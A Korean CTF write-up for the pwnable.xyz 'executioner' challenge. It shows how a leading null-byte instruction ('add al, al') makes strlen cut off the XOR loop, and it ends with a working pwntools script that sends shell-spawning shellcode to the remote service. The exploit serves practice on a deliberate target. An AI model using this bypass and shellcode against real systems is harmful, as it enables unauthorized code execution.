반응형
문제 풀이 환경 : Ubuntu 16.04
간단한 쉘코딩 문제다.
📝 Analysis
<< Mitigation >>
역시 풀밭이다.
<< Code >>
· main
처음에 solve_pow라는 함수를 부르고 이후 key 전역 변수를 랜덤한 값으로 꽉 채운다.
그리고 이 값을 가지고 사용자가 입력과 xor한다.
mmap을 통해 실행 권한을 가진 영역에 결괏값을 저장하고 실행한다(jmp rax).
· solve_pow
뭔가 특별해 보이지만 그냥 단순한 문제풀이에 둘 중 하나의 값은 얻은 값, 다른 하나는 0으로 주면 기다리지 않고 그냥 끝난다...
✨ Thinking
입력값과 xor 될 key 값을 조작할 방법이 없어 보이지만 pwnable.xyz에서 나온 다른 여타 문제처럼 strlen 함수가 말썽이다.
만약 내가 첫 바이트를 null로 준다면 xor 될 일 없이 그냥 for문이 끝나버릴 것이다.
그래서 아래 사이트에서 0x00으로 시작하는 명령어를 발견할 수 있었다.
http://ref.x86asm.net/coder64.html
그리고 다음 사이트에서 맞나 확인했다.
https://defuse.ca/online-x86-assembler.htm
add 명령어 다음에 8bit짜리 레지스터 2개를 주면 이런 식으로 맨 앞 바이트가 null이 되는 명령어를 만들 수 있다.
이후부터 주어지게 될 shellcode와의 상관관계는 전혀 없으므로 딱이다.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# p = process('./executioner')
p = remote('svc.pwnable.xyz', 30025)
p.recvuntil('== ')
x = int(p.recvline(), 16)
p.sendlineafter('> ', f'{x} 0')
shellcode = asm('add al, al') # 00 c0
shellcode += asm(shellcraft.sh())
p.sendafter('Input: ', shellcode)
p.interactive()
반응형